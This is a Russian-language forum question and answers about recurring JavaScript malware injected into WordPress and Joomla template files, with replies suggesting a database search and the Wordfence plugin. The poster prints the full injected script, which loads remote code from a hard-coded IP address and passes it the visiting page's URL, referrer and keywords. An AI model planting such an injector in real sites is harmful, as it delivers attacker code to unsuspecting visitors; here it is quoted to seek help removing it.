2016-12-02 5 views
0

Недавно я заметил, что JavaScript был введен в шаблоны сайта (header.php в случае WordPress и index.php в Joomla). Вредоносная программа отмечена на this site (23 сентября 2016 года), но без каких-либо советов о том, как избавиться от нее, удаление ее каждый раз, когда она появляется, не является реальным решением.Вредоносные программы JavaScript jQuery, введенные в WordPress & Joomla

Сценарий продолжает возвращаться, даже после общего совета, такого как here. Даже когда (js) вставлен в google-поиск, многие веб-сайты всплывают по мере их изменения. Файлы принадлежат www-данным. Я думаю, что я прошу - есть ли более постоянное решение? Вот скрипт (он вводится в одну линию, но я убирала его:

<script> 
var a = ''; 
    setTimeout(1); 

    function setCookie(a, b, c) { 
    var d = new Date; 
    d.setTime(d.getTime() + 60 * c * 60 * 1e3); 
    var e = "expires=" + d.toUTCString(); 
    document.cookie = a + "=" + b + "; " + e 
    } 

    function getCookie(a) { 
    for (var b = a + "=", c = document.cookie.split(";"), d = 0; d < c.length; d++) { 
     for (var e = c[d]; 
     " " == e.charAt(0);) e = e.substring(1); 
     if (0 == e.indexOf(b)) return e.substring(b.length, e.length) 
    } 
    return null 
    } 
    null == getCookie("__cfgoid") && (setCookie("__cfgoid", 1, 1), 1 == getCookie("__cfgoid") && (setCookie("__cfgoid", 2, 1), document.write('<script type="text/javascript" src="' + 'http://216.15.220.176/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'snt2014' + '&utm_source=' + window.location.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k = (function() { 
    var keywords = ''; 
    var metas = document.getElementsByTagName('meta'); 
    if (metas) { 
     for (var x = 0, y = metas.length; x < y; x++) { 
     if (metas[x].name.toLowerCase() == "keywords") { 
      keywords += metas[x].content; 
     } 
     } 
    } 
    return keywords !== '' ? keywords : null; 
    })()) == null ? (v = window.location.search.match(/utm_term=([^&]+)/)) == null ? (t = document.title) == null ? '' : t : v[1] : k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><' + '/script>'))); 

</script> 
+0

Вы искали в своей базе данных для данного скрипта? –

+0

@ tim-s - Я искал базу данных для частей кода, но безрезультатно. Должен заметить, что я решил проблему, изменив права собственности на файлы и каталоги в Joomla и WordPress, но некоторые функции - например, редактирование шаблонов и частей сайта, которые не зависят от MySQL. – gygoole

+0

Было только угадано - я не настолько опытен в Wordpress ... –

ответ

-2

Вы должны установить плагин как wordfence Он проверяет все плагины и файлы темы и отправляет оповещения, если файл был обновлен. .